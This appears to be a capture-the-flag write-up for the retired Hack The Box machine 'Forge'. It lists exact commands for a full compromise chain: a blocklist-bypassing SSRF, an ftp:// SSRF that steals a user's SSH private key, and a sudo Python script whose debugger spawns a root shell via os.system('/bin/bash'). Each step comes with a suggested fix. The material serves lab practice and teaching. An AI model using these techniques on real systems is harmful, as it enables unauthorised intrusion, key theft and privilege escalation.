Forge
Summary
The web application on forge.htb provided an image-upload-by-URL feature that fetched any my own address with no network or scheme controls, creating a Server-Side Request Forgery (SSRF) channel. An internal administrative virtual host — admin.forge.htb, blocked at the network perimeter — was reached by capitalising a single character in the hostname to slip past a case-sensitive string blacklist.
The admin panel's announcements page disclosed FTP credentials in cleartext. The same SSRF channel, this time invoked with an ftp:// URL, was then aimed at the internally-firewalled FTP service on localhost, streaming the system user's SSH private key to me.
With that key in hand, I opened an SSH session as the system user and found that a Python management script could be executed as root via sudo. Supplying the script with an unreachable hostname triggered an unhandled exception that dropped the process into Python's interactive debugger (Pdb) — with root privileges still attached — and a single debugger command spawned a root shell, completing full system compromise.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 4
nmap -sV -sC -p- --min-rate 5000 $TARGETecho "$TARGET forge.htb" | sudo tee -a /etc/hostsgobuster vhost -u http://forge.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain 2>/dev/null | grep -v '302'echo "$TARGET admin.forge.htb" | sudo tee -a /etc/hosts && curl -si http://admin.forge.htb/Exact commands 2
python3 -m http.server 8000curl -s -X POST http://forge.htb/upload -d "url=http://$ATTACKER_IP:8000/probe"FixEliminate the SSRF by replacing URL-fetch with an allowlist or removing the featureCritical
Exact commands 4
curl -s -X POST http://forge.htb/upload -d 'url=http://admin.forge.htb/'curl -s -X POST http://forge.htb/upload --data-urlencode 'url=http://Admin.Forge.htb/'curl -s -X POST http://forge.htb/upload --data-urlencode 'url=http://Admin.Forge.htb/announcements'curl -s http://forge.htb/uploads/<hash>FixNormalise hostnames to lowercase before any blocklist comparisonHigh
Exact commands 4
curl -s -X POST http://forge.htb/upload --data-urlencode "url=ftp://$USERNAME:$PASSWORD@127.0.0.1/"curl -s http://forge.htb/uploads/<hash>curl -s -X POST http://forge.htb/upload --data-urlencode "url=ftp://$USERNAME:$PASSWORD@127.0.0.1/home/user/.ssh/id_rsa"curl -s http://forge.htb/uploads/<hash> > id_rsaFixRestrict the URL-upload feature to the HTTPS scheme onlyHigh
Exact commands 3
chmod 600 id_rsassh -i id_rsa user@$TARGETcat /home/user/user.txtExact commands 4
sudo -lsudo /usr/bin/python3 /opt/remote-manage.pyimport os; os.system('/bin/bash')id && cat /root/root.txtFixRemove the interactive Python debugger from the root-privileged sudo scriptCritical
Exposed services
| 22/tcp | ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.41 ((Ubuntu)) |